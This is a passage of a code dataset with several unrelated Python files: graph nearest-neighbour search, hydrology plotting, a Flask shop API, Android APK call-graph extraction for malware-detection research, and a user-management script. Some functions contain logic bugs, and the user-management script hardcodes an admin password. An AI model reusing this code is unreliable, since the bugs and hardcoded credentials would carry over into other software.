self.distance_function(the_neighbor, state)\n if distance < delta and nr_points < MAX_KK:\n close_nodes[nr_points] = the_neighbor\n distances[nr_points] = distance\n nr_points += 1\n\n if nr_points > 0:\n self.sort_proximity_nodes(close_nodes, distances, 0, nr_points - 1)\n return nr_points\n\n def find_delta_close(self, state, close_nodes, distances, delta):\n if self.nr_nodes == 0:\n return 0\n\n self.clear_added()\n\n closest_search_set = self.basic_closest_search(state)\n\n distances[0] = closest_search_set[0]\n min_index = closest_search_set[1]\n close_nodes[0] = closest_search_set[2]\n\n if distances[0] < delta:\n return 0\n\n self.nodes[min_index].added_index = self.added_node_id\n\n nr_points = 1\n nr_neighbors = 0\n neighbors = None\n for counter in range(0, nr_points):\n nr_neighbors, neighbors = close_nodes[counter].get_neighbors()\n\n for j in range(0, nr_neighbors):\n the_neighbor = self.nodes[neighbors[j]]\n if not self.does_node_exist(the_neighbor):\n the_neighbor.added_index = self.added_node_id\n distance = self.distance_function(the_neighbor, state)\n if distance < delta and nr_points < MAX_KK:\n close_nodes[nr_points] = the_neighbor\n distances[nr_points] = distances\n nr_points += 1\n\n if nr_points > 0:\n self.sort_proximity_nodes(close_nodes, distances, 0, nr_points - 1)\n\n return nr_points\n\n def sort_proximity_nodes(self, close_nodes, distances, low, high):\n if low < high:\n pivot_distance = distances[low]\n pivot_node = close_nodes[low]\n\n left = low\n right = high\n\n while left < right:\n while low <= high and distances[left] <= pivot_distance:\n left += 1\n while distances[right] > pivot_distance:\n right -= 1\n\n if left < right:\n temp = distances[left]\n distances[left] = distances[right]\n distances[right] = temp\n\n temp_node = close_nodes[left]\n close_nodes[left] = close_nodes[right]\n close_nodes[right] = temp_node\n\n distances[low] = distances[right]\n distances[right] = pivot_distance\n\n close_nodes[low] = close_nodes[right]\n close_nodes[right] = pivot_node\n\n self.sort_proximity_nodes(close_nodes, distances, low, right - 1)\n self.sort_proximity_nodes(close_nodes, distances, right + 1, high)\n\n def does_node_exist(self, query_node):\n return query_node.added_index == self.added_node_id\n\n def basic_closest_search(self, state):\n if self.nr_nodes == 0:\n return None\n\n nr_samples = self.sampling_function()\n min_distance = 2147483647\n\n min_index = -1\n index = 0\n for i in range(0, nr_samples):\n index = random.randint(0, self.nr_nodes - 1)\n distance = self.distance_function(self.nodes[index], state)\n if distance < min_distance:\n min_distance = distance\n min_index = index\n\n while True:\n old_min_index = min_index\n nr_neighbors, neighbors = self.nodes[min_index].get_neighbors()\n for j in range(0, nr_neighbors):\n distance = self.distance_function(self.nodes[index], state)\n if distance < min_distance:\n min_distance = distance\n min_index = neighbors[j]\n if old_min_index == min_index:\n break\n\n the_distance = min_distance\n the_index = min_index\n\n return the_distance, the_index, self.nodes[min_index]\n\n def clear_added(self):\n self.added_node_id += 1\n\n def add_node_deserialize(self, graph_node):\n if self.nr_nodes >= self.cap_nodes + 1:\n self.cap_nodes *= 2\n self.nodes = pad_or_truncate(self.nodes, self.cap_nodes, None)\n self.nodes[self.nr_nodes] = graph_node\n self.nr_nodes += 1\n\n def get_node_by_index(self, index):\n for i in range(0, self.nr_nodes):\n if self.nodes[i][0].get_index() == index:\n return self.nodes[i][0]\n return None\n\n def sampling_function(self):\n if self.nr_nodes < 500:\n return self.nr_nodes / 5 + 1\n else:\n return 100 + self.nr_nodes / 500\n\n def percolation_threshold(self):\n if self.nr_nodes > 12:\n return int((3.5 * math.log(self.nr_nodes)))\n else:\n return self.nr_nodes","sub_path":"Part1/algorithm/nearest_neighbors.py","file_name":"nearest_neighbors.py","file_ext":"py","file_size_in_byte":11729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"522876073","text":"#!/usr/bin/env python\n# TODO: Add ability to plot all three plot types in one figure\n# TODO: Add table plot type that print summary statistics for column\nimport sys\nimport argparse\nimport math\n\nimport numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nfrom rhessysworkflows.rhessys import RHESSysOutput\n\nPLOT_TYPE_STD = 'standard'\nPLOT_TYPE_LOGY = 'logy'\nPLOT_TYPE_CDF = 'cdf'\nPLOT_TYPE_TABLE = 'table'\nPLOT_TYPES = [PLOT_TYPE_STD, PLOT_TYPE_LOGY, PLOT_TYPE_CDF, PLOT_TYPE_TABLE]\nPLOT_DEFAULT = PLOT_TYPE_STD\n\n\ndef plotTable(args, col_names, obs, data, ax):\n \n import pdb; pdb.set_trace()\n \n data = np.append( [np.sum(obs['observed'])], np.sum(data['streamflow']) )\n text = [ [\"%.2f\" % num for num in data] ]\n #nrows, ncols = len(data)+1, len(col_names)\n #hcell, wcell = 0.3, 1.\n #hpad, wpad = 0, 0 \n #fig=plt.figure(figsize=(ncols*wcell+wpad, nrows*hcell+hpad))\n ax.axis('off')\n #do the table\n the_table = ax.table(cellText=text,\n colLabels=col_names,\n rowLabels=['sum'],\n loc='center')\n\ndef plotGraph(args, plottype, obs, data, columns, min_x, max_x, ax, secondary=None):\n \n if plottype == PLOT_TYPE_STD or \\\n plottype == PLOT_TYPE_LOGY:\n x = obs.index\n elif plottype == PLOT_TYPE_CDF:\n #import pdb; pdb.set_trace()\n x = np.linspace(min_x, max_x, num=1000 )\n \n # Plot observed values\n # Standard or log plot\n obs_y = obs\n if plottype == PLOT_TYPE_CDF:\n #import pdb; pdb.set_trace()\n obs_ecdf = sm.distributions.ECDF(obs['observed'])\n obs_y = obs_ecdf(x)\n obs_plt = None\n if not args.supressObs:\n (obs_plt,) = ax.plot(x, obs_y)\n \n # Plot modeled values\n data_plt = []\n for c in columns:\n # Standard or log plot\n mod_y = data[c]\n if plottype == PLOT_TYPE_CDF:\n mod_ecdf = sm.distributions.ECDF(data[c])\n mod_y = mod_ecdf(x)\n (mod_plt,) = ax.plot(x, mod_y)\n data_plt.append(mod_plt)\n \n # Plot annotations\n# if args.title:\n# title = args.title\n# else:\n# columnName = column.capitalize()\n# if plottype == PLOT_TYPE_STD:\n# title = columnName\n# elif plottype == PLOT_TYPE_LOGY:\n# title = \"log(%s)\" % (columnName,)\n# elif plottype == PLOT_TYPE_CDF:\n# title = \"Cumulative distribution - %s\" % (columnName,) \n# ax.set_title(title)\n \n # X-axis\n if plottype == PLOT_TYPE_STD or \\\n plottype == PLOT_TYPE_LOGY:\n ax.xaxis.set_major_locator(matplotlib.dates.MonthLocator() )\n ax.xaxis.set_major_formatter(matplotlib.dates.DateFormatter('%b-%Y') )\n # Rotate\n plt.setp( ax.xaxis.get_majorticklabels(), rotation=45 )\n plt.setp( ax.xaxis.get_majorticklabels(), fontsize='x-small' )\n \n if plottype == PLOT_TYPE_CDF:\n ax.set_xlim(min_x, max_x)\n ax.set_xscale('log')\n if args.xlabel:\n ax.set_xlabel(args.xlabel)\n else:\n pass\n# ax.set_xlabel( columnName )\n elif args.xlabel:\n ax.set_xlabel(args.xlabel)\n \n # Y-axis\n if plottype == PLOT_TYPE_LOGY:\n ax.set_yscale('log')\n \n if args.ylabel:\n ax.set_ylabel(args.ylabel)\n elif plottype != PLOT_TYPE_CDF:\n# y_label = columnName\n y_label = 'LABLE ME'\n if plottype == PLOT_TYPE_LOGY:\n# y_label = \"log( %s )\" % (columnName,)\n y_label = 'LABLE ME'\n ax.set_ylabel( y_label )\n \n if args.supressObs:\n legend_items = columns\n else:\n data_plt.insert(0, obs_plt)\n legend_items = ['Observed'] + columns\n \n # Plot secondary data (if specified)\n if secondary and \\\n (plottype == PLOT_TYPE_STD or plottype == PLOT_TYPE_LOGY):\n# sec_file = open(args.secondaryData, 'r')\n# (sec_datetime, sec_data) = RHESSysCalibratorPostprocess.readColumnFromFile(sec_file,\n# args.secondaryColumn,\n# startHour=0)\n# sec_file.close()\n #sec = pd.Series(sec_data, index=sec_datetime)\n# import pdb; pdb.set_trace()\n# sec = pd.DataFrame(sec_data, index=sec_datetime, columns=[args.secondaryColumn])\n # Align timeseries\n #(sec_align, obs_align) = sec.align(obs, join='inner')\n# (sec_align, data_align) = sec.align(data, axis=0, join='inner')\n # Plot\n ax2 = ax.twinx()\n for s in secondary:\n (sec_plot,) = ax2.plot(x, data[s])\n \n secondaryLabel = args.secondaryColumn.capitalize()\n if args.secondaryLabel:\n secondaryLabel = args.secondaryLabel\n ax2.invert_yaxis()\n ax2.set_ylabel(args.secondaryLabel)\n \n # Plot legend last\n if plottype == PLOT_TYPE_CDF:\n ax.legend( data_plt, legend_items, 'lower right', fontsize='x-small' )\n elif secondary:\n ax.legend( data_plt, legend_items, 'center right', fontsize='x-small' )\n else:\n ax.legend( data_plt, legend_items, 'best', fontsize='x-small' )\n\nif __name__ == \"__main__\":\n # Handle command line options\n parser = argparse.ArgumentParser(description='Plot CDF of N datasets vs. observed data')\n parser.add_argument('-n', '--outname', required=True, \n help='Base name of file to output figure to. Only specify base name of file, not extension (PDF and PNG files will be produced)')\n parser.add_argument('-o', '--obs', required=True,\n help='File containing observed data')\n parser.add_argument('-d', '--data', required=True, #nargs='+',\n help='One or more data files')\n# parser.add_argument('-c', '--column', required=True,\n# help='Name of column to use from data files')\n parser.add_argument('-t', '--title', required=False,\n help='Title of figure')\n# parser.add_argument('-l', '--legend', required=True, nargs='+',\n# help='Legend item labels')\n parser.add_argument('-x', '--xlabel', required=False,\n help='X-axis label')\n parser.add_argument('-y', '--ylabel', required=False,\n help='Y-axis label')\n parser.add_argument('--supressObs', required=False, action='store_true',\n help='Do not plot observed data. Observed data will still be used for aligning timeseries')\n# parser.add_argument('--secondaryData', required=False,\n# help='A data file containing the varaible to plot on a secondary Y-axis')\n parser.add_argument('--secondaryColumn', required=False,\n help='Name of column to use from secondary data file')\n parser.add_argument('--secondaryLabel', required=False,\n help='Label to use for seconary Y-axis')\n args = parser.parse_args()\n \n# if args.secondaryData and not args.secondaryColumn:\n# sys.exit('A secondary data file was specified, but the secondary column to use was not')\n \n# if len(args.data) != len(args.legend):\n# sys.exit('Number of legend items must equal the number of data files')\n\n # Open observed data\n obs_file = open(args.obs, 'r')\n (obs_datetime, obs_data) = RHESSysOutput.readObservedDataFromFile(obs_file,\n readHour=False)\n obs_file.close()\n #obs = pd.Series(obs_data, index=obs_datetime)\n obs = pd.DataFrame(obs_data, index=obs_datetime, columns=['observed'])\n\n # Open data and align to observed\n cols = ['streamflow', 'evap', 'trans', 'precip']\n obs_align = None\n #data = []\n max_x = min_x = 0\n #for d in args.data:\n #mod_file = open(d, 'r')\n mod_file = open(args.data, 'r')\n mod_df = RHESSysOutput.readColumnsFromFile(mod_file,\n cols)\n #tmp_mod = pd.Series(tmp_data, index=tmp_datetime)\n # Align timeseries\n #import pdb; pdb.set_trace()\n #(obs_align, mod_align) = obs.align(mod_df, join='inner')\n (mod_align, obs_align) = mod_df.align(obs, axis=0, join='inner')\n tmp_max_x = max(mod_align['streamflow'].max(), obs_align['observed'].max())\n if tmp_max_x > max_x:\n max_x = tmp_max_x\n min_x = max(min_x, mod_align['streamflow'].min())\n\n mod_file.close()\n #data.append( mod_align )\n\n fig = plt.figure()\n ax_std = fig.add_subplot(221)\n ax_log = fig.add_subplot(222)\n ax_cdf = fig.add_subplot(223)\n ax_tab = fig.add_subplot(224)\n\n #import pdb; pdb.set_trace()\n\n plotGraph(args, PLOT_TYPE_STD, obs_align, mod_align, ['streamflow'], min_x, max_x, ax_std, secondary=['precip'])\n plotGraph(args, PLOT_TYPE_LOGY, obs_align, mod_align, ['streamflow'], min_x, max_x, ax_log)\n plotGraph(args, PLOT_TYPE_CDF, obs_align, mod_align, ['streamflow'], min_x, max_x, ax_cdf)\n \n col_names = ['Observed'] + cols\n plotTable(args, col_names, obs_align, mod_align, ax_tab)\n\n # Output plot\n plot_filename_png = \"%s.png\" % (args.outname,)\n plot_filename_pdf = \"%s.pdf\" % (args.outname,)\n plt.savefig(plot_filename_png, bbox_inches='tight') #, bbox_extra_artists=[table])\n plt.savefig(plot_filename_pdf, bbox_inches='tight') #, bbox_extra_artists=[table])\n","sub_path":"bin/RHESSysPlotMassbalance.py","file_name":"RHESSysPlotMassbalance.py","file_ext":"py","file_size_in_byte":9525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"488007730","text":"\"\"\"\n This file contains the code that interacts with the database.\n It handles CRUD operations.\n\n There are two decorators used here.\n @jwt_required() - This decorator is used to check if a Token (Bearer token) is present in the Authorisation Header\n of an HTTP request\n @roles_required() - This checks for the role of a particular user logged in to the application.\n\"\"\"\nimport datetime\nimport json\nimport ast\nfrom Models.model import Smartphone, Customer, Orders\nfrom flask import Response, request\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom flask_restful import Resource\nfrom Models.CustomErrors import *\nfrom configuration.config import mail\nfrom flask_mail import Message\nfrom flask import current_app\nfrom controllers.role_decorator import roles_required\n\n\nclass SmartphoneApi(Resource):\n \"\"\"\n Retrieving details of all mobiles, and adding a new mobile to the database\\n\n GET - to retrieve all smartphones in the database\\n\n POST - to add a new smartphone to the database\\n\n \"\"\"\n def get(self):\n phones = Smartphone.objects.to_json()\n return Response(phones, mimetype='application/json', status=200)\n\n @jwt_required()\n @roles_required(['admin'])\n def post(self):\n print(request)\n body = request.get_json()\n # print(body)\n phone = Smartphone(**body).save()\n return {'name': phone.name}, 200\n\n\nclass SmartphonesApi(Resource):\n \"\"\"\n Retrieving/Updating details of a particular mobile. \\n\n GET - Retrieve a particular smartphone's details by passing name as parameter\\n\n PUT/UPDATE - Update the details of a particular phone by passing name as argument\\n\n DELETE - Remove a particular phone from the database, by passing the phone's name as argument\\n\n \"\"\"\n @jwt_required()\n @roles_required(['admin'])\n def put(self, name):\n try:\n body = request.get_json()\n Smartphone.objects.get(name=name).update(**body)\n return '', 200\n except Smartphone.DoesNotExist:\n str1 = \"The phone does not exist\"\n return str1, 404\n\n @jwt_required()\n @roles_required(['admin'])\n def delete(self, name):\n try:\n phone = Smartphone.objects.get(name=name).delete()\n return '', 200\n except Smartphone.DoesNotExist:\n str1 = \"The phone does not exist\"\n return str1, 404\n\n def get(self, name):\n try:\n phones = Smartphone.objects.get(name=name).to_json()\n if phones == \"\":\n raise MobileNotFoundError(\"The phone doesn't exist\")\n return Response(phones, mimetype='application/json', status=200)\n except MobileNotFoundError:\n str1 = name + \" does not exist\"\n return Response(str1, mimetype='application/json', status=404)\n\n\nclass CustomerApi(Resource):\n \"\"\"\n Retrieving details of all customers, and adding a new customer to the database.\n GET - Get all details of customers registered.\n POST - Add details of a new customer\n \"\"\"\n @jwt_required()\n @roles_required(['admin'])\n def get(self):\n customers = Customer.objects.to_json()\n return Response(customers, mimetype='application/json', status=200)\n\n @jwt_required()\n @roles_required(['admin'])\n def post(self):\n body = request.get_json()\n customer = Customer(**body).save()\n return {'name': customer.customer_name}, 200\n\n\nclass CustomersApi(Resource):\n \"\"\"\n Retrieving details of a particular customer, as well as updating a customer's details, and/or deleting a customer.\n GET - Retrieve details of a particular customer, by passing Customer ID as argument\n PUT - Update details of a particular customer, by passing Customer ID as argument\n DELETE - Remove a customer from the database, by passing Customer ID as argument\n \"\"\"\n\n @jwt_required()\n @roles_required(['admin'])\n def get(self, id):\n try:\n customers = Customer.objects.get(_id=id).to_json()\n print(customers)\n if customers == \"\":\n raise CustomerNotFoundError(\"Customer does not exist\")\n return Response(customers, mimetype='application/json', status=200)\n\n except Customer.DoesNotExist or CustomerNotFoundError:\n str1 = \"The customer does not exist in our records\"\n return Response(str1, mimetype='application/json', status=404)\n\n @jwt_required()\n @roles_required(['admin'])\n def put(self, id):\n body = request.get_json()\n Customer.objects.get(_id=id).update(**body)\n return '', 200\n\n @jwt_required()\n @roles_required(['admin'])\n def delete(self, id):\n user = Customer.objects.get(_id=id).delete()\n return '', 200\n\n\nclass OrdersApi(Resource):\n \"\"\"\n Retrieve order details, as well as placing a new order by customer.\n GET - get all orders taken in the database\n POST - customer orders a new mobile\n \"\"\"\n def get(self):\n orders = Orders.objects.to_json()\n # print(type(orders))\n demand = json.loads(orders)\n time_in_millis = demand[0]['order_date']['$date']\n dt = datetime.datetime.fromtimestamp(time_in_millis / 1000.0, tz=datetime.timezone.utc)\n demand[0]['order_date']['$date'] = dt.strftime(\"%Y-%m-%d\")\n print(demand[0]['order_date']['$date'])\n orders = json.dumps(demand)\n return Response(orders, mimetype='application/json', status=200)\n\n @jwt_required()\n @roles_required(['user'])\n def post(self):\n c_update = SmartphonesApi()\n body = request.get_json()\n byte_str = c_update.get(body['mname']).get_data()\n dict_str = byte_str.decode(\"UTF-8\")\n my_data = ast.literal_eval(dict_str)\n # print(my_data)\n try:\n if my_data['Stock'] == 0:\n raise MobileNotFoundError(\"Mobile Phone not present\")\n my_data['Stock'] -= 1\n order = Orders(**body).save()\n Smartphone.objects(name=order.mname).update(dec__Stock=1)\n mname1 = Smartphone.objects.get(name=order.mname).to_json()\n mname2 = json.loads(mname1)\n str2 = \"You have ordered: \" + my_data['name']\n user_id = get_jwt_identity()\n user = Customer.objects.get(_id=user_id).to_json()\n user1 = json.loads(user)\n email = user1['email']\n msg = Message('order details', sender=current_app.config.get('MAIL_USERNAME'), recipients=[email])\n msg.body = str2\n mail.send(msg)\n return {'Mobile Name': mname2['name']}, 200\n\n except MobileNotFoundError:\n str1 = my_data['name'] + \" is out of stock\"\n # print(my_data['name'], \"is out of stock\")\n return str1, 200\n","sub_path":"controllers/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":6895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"541580202","text":"from datetime import timedelta\nfrom pathlib import Path\n\nfrom cachier import cachier\nfrom cachier import pickle_core\n\nfrom opaot.firmware import Firmware\nfrom opaot.patch_fpv import patch_fpv\nfrom opaot.visitor import Visitor\n\npickle_core.EXPANDED_CACHIER_DIR = \"../cache\"\n\n\n@cachier(stale_after=timedelta(hours=1))\ndef load_firmware() -> Firmware:\n return Firmware(Path(r\"..\\..\\OpenPythonFirmware\\firmwares\\v1.1.0\").resolve())\n\n\ndef main():\n patch_fpv()\n\n firmware = load_firmware()\n visitor = Visitor(firmware)\n visitor.visit_all()\n\n for function, info in visitor.functions.items():\n jumps = info.jumps\n eof = info.eof\n\n if not function.size:\n print(function.name, 'missing')\n continue\n\n print(function.name)\n for pos, insn in zip(range(max(eof) + 1), info.insns):\n if pos in jumps:\n print(\">- JUMP -<\")\n\n print(insn)\n\n if pos in eof:\n print(\"<= FIN =>\")\n\n print()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"opaot/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"59454908","text":"\"\"\"图像点运算之幂运算\"\"\"\nfrom matplotlib import pyplot as plt\nfrom skimage import data, exposure, io\n\nimage = data.coffee()\nimage_1 = exposure.adjust_gamma(image, 0.2)\nimage_2 = exposure.adjust_gamma(image, 0.7)\nimage_3 = exposure.adjust_gamma(image, 1.5)\nplt.subplot(2, 2, 1)\nplt.title('gamma = 0.2')\nio.imshow(image_1)\nplt.subplot(2, 2, 2)\nplt.title('gamma = 0.7')\nio.imshow(image_2)\nplt.subplot(2, 2, 3)\nplt.title('gamma = 1.5')\nio.imshow(image_3)\nplt.subplot(2, 2, 4)\nplt.title('gamma = 1')\nio.imshow(image)\nplt.show()","sub_path":"1/image_exponention.py","file_name":"image_exponention.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"580855772","text":"import networkx as nx\r\nfrom collections import defaultdict\r\nimport time\r\nimport os\r\nfrom androguard.misc import AnalyzeAPK\r\n#import matplotlib.pyplot as plt\r\nimport argparse\r\nimport glob\r\nfrom multiprocessing import Pool as ThreadPool\r\nfrom functools import partial\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser(description='To obtain the call graphs.')\r\n parser.add_argument('-f', '--file', help='The path of an APK file or a dir contains some APK files', required=True, type=str)\r\n parser.add_argument('-o', '--output', help='The path of output.', required=True, type=str)\r\n args = parser.parse_args()\r\n return args\r\n\r\ndef get_call_graph(dx):\r\n t0 = time.time()\r\n #CG = nx.MultiDiGraph()\r\n CG = nx.DiGraph()\r\n nodes = dx.find_methods('.*', '.*', '.*', '.*')\r\n for m in nodes:\r\n API = m.get_method()\r\n class_name = API.get_class_name()\r\n method_name = API.get_name()\r\n descriptor = API.get_descriptor()\r\n api_call = class_name + '->' + method_name + descriptor\r\n #api_call = class_name + '->' + method_name\r\n\r\n if len(m.get_xref_to()) == 0:\r\n continue\r\n CG.add_node(api_call)\r\n\r\n for other_class, callee, offset in m.get_xref_to():\r\n _callee = callee.get_class_name() + '->' + callee.get_name() + callee.get_descriptor()\r\n #_callee = callee.get_class_name() + '->' + callee.get_name()\r\n CG.add_node(_callee)\r\n if not CG.has_edge(API, callee):\r\n CG.add_edge(api_call, _callee)\r\n\r\n return CG\r\n\r\nimport zipfile\r\ndef apk_to_callgraph(app_path, exist_files, out_path):\r\n apk_name = app_path.split('/')[-1].split('.apk')[0]\r\n\r\n if apk_name in exist_files:\r\n return None\r\n elif not zipfile.is_zipfile(app_path):\r\n return None\r\n else:\r\n try:\r\n a, d, dx = AnalyzeAPK(app_path)\r\n call_graph = get_call_graph(dx=dx)\r\n cg = call_graph\r\n print(apk_name)\r\n \r\n file_cg = out_path + '/' + apk_name + '.gexf'\r\n nx.write_gexf(cg, file_cg)\r\n \r\n except:\r\n return None\r\n\r\ndef main():\r\n tic = time.time()\r\n args = parse_args()\r\n\r\n exist_files = os.listdir(args.output)\r\n exist_files = [f.split('.gexf')[0] for f in exist_files]\r\n if args.output[-1] == '/':\r\n out_path = args.output[:-1]\r\n else:\r\n out_path = args.output\r\n\r\n if os.path.isdir(args.file):\r\n if args.file[-1] == '/':\r\n path = args.file + '*.apk'\r\n else:\r\n path = args.file + '/*.apk'\r\n\r\n apks = glob.glob(path)\r\n pool = ThreadPool(15)\r\n pool.map(partial(apk_to_callgraph, exist_files=exist_files, out_path=out_path), apks)\r\n else:\r\n apk_to_callgraph(args.file, exist_files, out_path)\r\n\r\n print(time.time()-tic)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n","sub_path":"MalScan-code/CallGraphExtraction.py","file_name":"CallGraphExtraction.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"388215558","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2018/9/1 上午10:06\n# @Author : LuoFeng\n# @Site : \n# @File : userManage_v2.py\n# @Software: PyCharm\n\n# 导入模块\nimport time\nimport json\nimport math\n\n\n# 定义常量\nLOCK_FILE = \"lock\"\nLOCK_DURATION = 30\n\nMAX_LOGIN_COUNT = 3\nADMIN_USERNAME = 'admin'\nADMIN_PASSWORD = 'reboot@123'\n\nUSER_FILE = 'user.json'\nUSER_INFO_NUM = 4\n\nPAGE_SIZE = 2\nTABLE_TPL = '|{uid:^5}|{name:^10}|{age:^5}|{tel:^15}|{address:^20}|'\nTABLE_SPLIT_LINE = 61\nTABLE_TITLE = {\"uid\": \"uid\", \"name\": \"name\", \"age\": \"age\", \"tel\": \"tel\", \"address\": \"address\"}\n\n# 提示对用户数据进行增删改查\nsucc_msg = '''\\033[32m\n-------------------------------\n欢迎登录用户系统,请选择对应的操作选项\n-------------------------------\n 1. 增加用户信息(add)\n 2. 删除用户信息(delete)\n 3. 更新用户信息(update)\n 4. 查询用户信息(query)\n 5. 保存用户信息(save)\n 6. 退出用户管理系统(exit)\n-------------------------------\n\\033[0m'''\n\n# 每页展示的页数\nPAGE_SIZE = 2\n\n# 判断用户是否锁定\ndef is_unlock():\n lock_time = 0\n try:\n fhandler = open(LOCK_FILE, 'r')\n cxt = fhandler.read()\n fhandler.close()\n lock_time = float(cxt)\n except Exception as e:\n print(e)\n pass\n\n last_time = time.time() - lock_time > LOCK_DURATION\n return last_time\n\n# 用户登录\ndef login():\n chk_flag = False\n\n for x in range(MAX_LOGIN_COUNT):\n username = input(\"请输入用户名:\")\n password = input(\"请输入密码:\")\n\n if ADMIN_USERNAME == username and ADMIN_PASSWORD == password:\n chk_flag = True\n break\n\n # 注意最后一次登录\n if MAX_LOGIN_COUNT - 1 == x:\n print(\"登陆失败, 锁定用户\")\n else:\n print(\"登陆失败, 请重新输入用户名, 密码\")\n\n return chk_flag\n\n# 锁定用户\ndef lock_user():\n fhander = open(LOCK_FILE, 'w')\n fhander.write(str(time.time() + LOCK_DURATION))\n fhander.close()\n\n# 登录成功,从文件获取用户数据\ndef get_users():\n users = []\n try:\n fhander = open(USER_FILE, 'r')\n cxt = fhander.read()\n users = json.loads(cxt)\n fhander.close()\n except Exception as e:\n print(e)\n pass\n\n return users\n\n# 登录成功,打印用户信息\ndef print_users(users):\n print('-' * TABLE_SPLIT_LINE)\n print(TABLE_TPL.format(**TABLE_TITLE))\n print('-' * TABLE_SPLIT_LINE)\n for user in users:\n print(TABLE_TPL.format(**user))\n print('-' * TABLE_SPLIT_LINE)\n\n# 增加用户信息\ndef add_user(users):\n text = input(\"请依次输入用户信息,用户名,年龄,电话号码,地址,以空格分隔: \")\n user = text.split()\n\n if len(user) != USER_INFO_NUM:\n print(\"\\033[31m输入有误,请按格式要求输入!!!\\033[0m\")\n\n else:\n name, age, tel, address = user\n has_error = False\n if not age.isdigit():\n print(\"\\033[31m年龄输入有误,请重新输入!!!\\033[0m\")\n has_error = True\n\n if not tel.isdigit():\n print(\"\\033[31m电话号码输入有误,请重新输入!!!\\033[0m\")\n has_error = True\n\n if not has_error:\n # 生产用户id\n uid = max([x.get(\"uid\") for x in users] + [0]) + 1\n print(uid)\n users.append({\n \"uid\": uid,\n \"name\": name,\n \"age\": int(age),\n \"tel\": tel,\n \"address\": address\n })\n print(\"\\033[32m用户{}被成功添加\\033[0m\".format(name))\n\n# 删除用户信息\ndef del_user(users):\n text = input(\"请输入用户UID: \").strip()\n has_error = False\n if text.isdigit() and len(text) != 0:\n uid = int(text)\n has_error = True\n\n if has_error:\n for user in users:\n if uid == user.get(\"uid\"):\n users.remove(user)\n print(\"\\033[32m用户{}删除成功\\033[0m\".format(user[\"name\"]))\n else:\n print(\"\\033[31m用户UID输入有误\\033[0m\")\n\n# 查询用户信息\ndef query_user(users):\n users_query = []\n text = input(\"请输入查询的字符串: \")\n for user in users:\n if text == '' or user.get(\"name\").find(text) != -1 or \\\n user.get(\"tel\").find(text) != -1 or \\\n user.get(\"address\").find(text) != -1:\n users_query.append(user)\n\n users_query_count = len(users_query)\n\n if users_query_count == 0:\n print(\"\\033[31m无用户数据,查询失败!!!\\033[0m\")\n\n elif users_query_count <= PAGE_SIZE:\n print_users(users_query)\n\n else:\n max_page = math.ceil(users_query_count / PAGE_SIZE)\n while True:\n text_page_num = input(\"共有{0}页, 请输入查询页码(1 ~ {0}): \".format(max_page)).strip()\n if text_page_num.isdigit() and int(text_page_num) <= max_page:\n page_num = int(text_page_num)\n print_users(users_query[(page_num - 1) * PAGE_SIZE : page_num * PAGE_SIZE])\n\n if int(text_page_num) == max_page:\n print(\"\\033[32m用户信息查询完成\\033[0m\")\n break\n else:\n print(\"\\033[31m页码输入错误,页码范围1 ~ {}\\033[0m\".format(max_page))\n\n# 更新用户信息\ndef update_user(users):\n text = input(\"请输入用户UID: \")\n is_exists = False\n uid = 0\n if text.isdigit():\n uid = int(text)\n for user in users:\n is_exists = True\n break\n\n if is_exists:\n text = input(\"请依次输入用户信息,格式用户名,年龄,手机号,地址,以空格分割: \")\n user = text.split()\n print(user)\n\n if len(user) != USER_INFO_NUM:\n print(\"\\033[31m输入有误,请按格式要求输入!!!\\033[0m\")\n\n else:\n name, age, tel, address = user\n has_error = False\n if not age.isdigit():\n print(\"\\033[31m年龄输入有误,请重新输入!!!\\033[0m\")\n has_error = True\n\n if not tel.isdigit():\n print(\"\\033[31m电话号码输入有误,请重新输入!!!\\033[0m\")\n has_error = True\n\n if not has_error:\n for user in users:\n if uid == user.get(\"uid\"):\n user['name'] = name\n user['age'] = int(age)\n user['tel'] = tel\n user['address'] = address\n print(\"\\033[32m用户{}信息更新成功\\033[0m\".format(name))\n break\n else:\n print(\"\\033[31m用户UID输入有误033\\0m\")\n\n# 保存用户信息\ndef save_user(users):\n fhandler = open(USER_FILE, 'w')\n fhandler.write(json.dumps(users))\n fhandler.close()\n print(\"\\033[32m用户信息保存成功\\033[0m\")\n\n# 登录成功后,对用户信息进行增删改查\ndef user_operate(users):\n print(succ_msg)\n while True:\n op = input(\"请输入操作: \")\n if op == \"add\":\n add_user(users)\n save_user(users)\n\n elif op == \"delete\":\n print_users(users)\n del_user(users)\n\n elif op == \"update\":\n print_users(users)\n update_user(users)\n\n elif op == \"query\":\n query_user(users)\n\n elif op == \"save\":\n save_user(users)\n\n elif op == \"exit\":\n save_user(users)\n break\n\n else:\n print(\"\\033[31m输入有误,请重新输入!!!\\033[0m\")\n\ndef main():\n #判断用户是否被锁定\n if not is_unlock():\n print(\"用户被锁定,请稍后再试!!!\")\n return\n\n if login():\n # 登录成功,从文件获取用户信息\n users = get_users()\n\n # 加载用户信息后,对用户信息进行增删改查操作\n user_operate(users)\n\n else:\n # 登录失败,锁定用户\n lock_user()\n\nmain()\n","sub_path":"lesson04/luofeng/userManage_v2.py","file_name":"userManage_v2.py","file_ext":"py","file_size_in_byte":8096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"170750925","text":"import os\nimport copy\nimport hashlib\nimport math\nfrom typing import Union\n\nfrom shapely.geometry import LineString\n\nimport pandas as pd\nimport geopandas as 